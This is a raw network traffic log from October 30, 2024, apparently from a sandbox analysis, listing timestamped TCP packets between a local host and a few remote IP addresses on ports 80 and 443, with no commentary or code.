Oct 30, 2024 23:11:50.495017052 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.495343924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.495358944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.495374918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.495392084 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.495403051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.495419979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.495488882 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.495503902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.495558977 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.496269941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.496328115 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.530673981 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.530699015 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.530745983 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.530757904 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.530810118 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.530818939 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.530877113 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.530915976 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.538698912 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.538718939 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.554528952 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.554567099 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.554651976 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.555069923 CET	50001	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:50.555083990 CET	443	50001	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:50.571590900 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.571650982 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.571686983 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.571877956 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.571882010 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.571890116 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.571893930 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.574695110 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.574707985 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.574959993 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.575323105 CET	50002	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.575335979 CET	443	50002	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.579428911 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.579476118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.579502106 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.579576969 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.595459938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.595477104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.595491886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.595547915 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.595582962 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.595663071 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.595839024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.595854998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.595870018 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.595881939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.595892906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.596127987 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.596364021 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.596422911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.596486092 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.596499920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.596528053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.596554041 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.612230062 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612293005 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612308979 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612313032 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.612344027 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612358093 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.612359047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612384081 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.612411022 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.612656116 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612715006 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.612823009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612867117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.612867117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612884045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.612925053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.613246918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.613272905 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.613287926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.613331079 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.613364935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.613379955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.613421917 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.613446951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.614177942 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.614234924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.713696957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.713717937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.713735104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.713768959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.713809013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.713849068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.713865995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.713918924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.713927984 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.713990927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.714282036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.714317083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.714329958 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.714343071 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.714360952 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.714380980 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.714726925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.714742899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.714760065 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.714778900 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.714796066 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.730536938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730581999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730597973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730618000 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.730705023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730722904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730735064 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.730740070 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730758905 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730758905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.730778933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.730798960 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.730854988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.730897903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.731513023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.731564999 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.731729031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.731755972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.731771946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.731789112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.731790066 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.731811047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.731837988 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.731854916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.731967926 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.732551098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.732672930 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.766544104 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.767008066 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.767019033 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.767457962 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.767462969 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.828496933 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.828928947 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.828943968 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.829374075 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.829381943 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.839589119 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.839636087 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.839643955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.839683056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.839699984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.839710951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.839720011 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.839730978 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.839756966 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.839766026 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.840070963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.840089083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.840106964 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.840138912 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.840172052 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.840183973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.840200901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.840224981 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.840238094 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.848675966 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.848715067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.848731041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.848732948 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.848771095 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.848817110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.848834991 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.848875999 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.848879099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.849051952 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.849205971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.849278927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.849280119 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.849298000 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.849314928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.849347115 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.849374056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.850097895 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.850148916 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.850153923 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.850169897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.850186110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.850202084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.850210905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.850241899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.850282907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.850477934 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.851089001 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.851167917 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.852706909 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.853044033 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.853069067 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.853447914 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.853454113 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.865629911 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.865984917 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.866003990 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.866416931 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.866420984 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.900907993 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.900945902 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.900998116 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.901035070 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.901089907 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.901321888 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.901333094 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.901340961 CET	49995	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.901345968 CET	443	49995	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.904547930 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.904592037 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.904652119 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.904917955 CET	50003	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.904932022 CET	443	50003	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.957504988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.957556009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.957571030 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.957587957 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.957597971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.957614899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.957617044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.957633018 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.957645893 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.957676888 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.958159924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.958175898 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.958192110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.958210945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.958236933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.958538055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.958591938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.958606958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.958638906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.966732979 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.966809034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.966837883 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.966862917 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.966906071 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.966923952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.966941118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.966942072 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.966959953 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.966975927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.967004061 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.967158079 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.967469931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.967499971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.967515945 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.967538118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.967554092 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.967865944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.967907906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.967924118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.967924118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.967959881 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.967992067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.968007088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.968049049 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.968677044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.968713999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.968729973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.968729973 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.968749046 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.968770027 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.968770027 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:50.968833923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:50.968987942 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.969049931 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.969111919 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.969331980 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.969347954 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.969393969 CET	49996	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.969400883 CET	443	49996	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.971865892 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.971901894 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.971992970 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.972215891 CET	50004	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.972229958 CET	443	50004	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.988785028 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.988908052 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.989116907 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.989181995 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.989195108 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.989203930 CET	49997	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.989208937 CET	443	49997	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.991473913 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.991508961 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:50.991667032 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.991899967 CET	50005	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:50.991913080 CET	443	50005	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.000586987 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.000735998 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.000924110 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.000924110 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.000952005 CET	49998	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.000966072 CET	443	49998	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.003014088 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.003032923 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.003330946 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.003480911 CET	50006	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:51.003494024 CET	443	50006	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:51.015105963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.015125036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.015167952 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.015197992 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.075839043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.075855017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.075906038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.075942993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.075957060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.075967073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.076000929 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.076016903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.076205015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.076216936 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.076229095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.076246023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.076263905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.076535940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.076572895 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.076585054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.076605082 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.076634884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085139990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085156918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085175037 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085186005 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085236073 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085266113 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085386992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085458994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085463047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085572004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085583925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085586071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:51.085597038 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:51.085608959 CET	80	49980	185.215.113.206	192.168.2.5
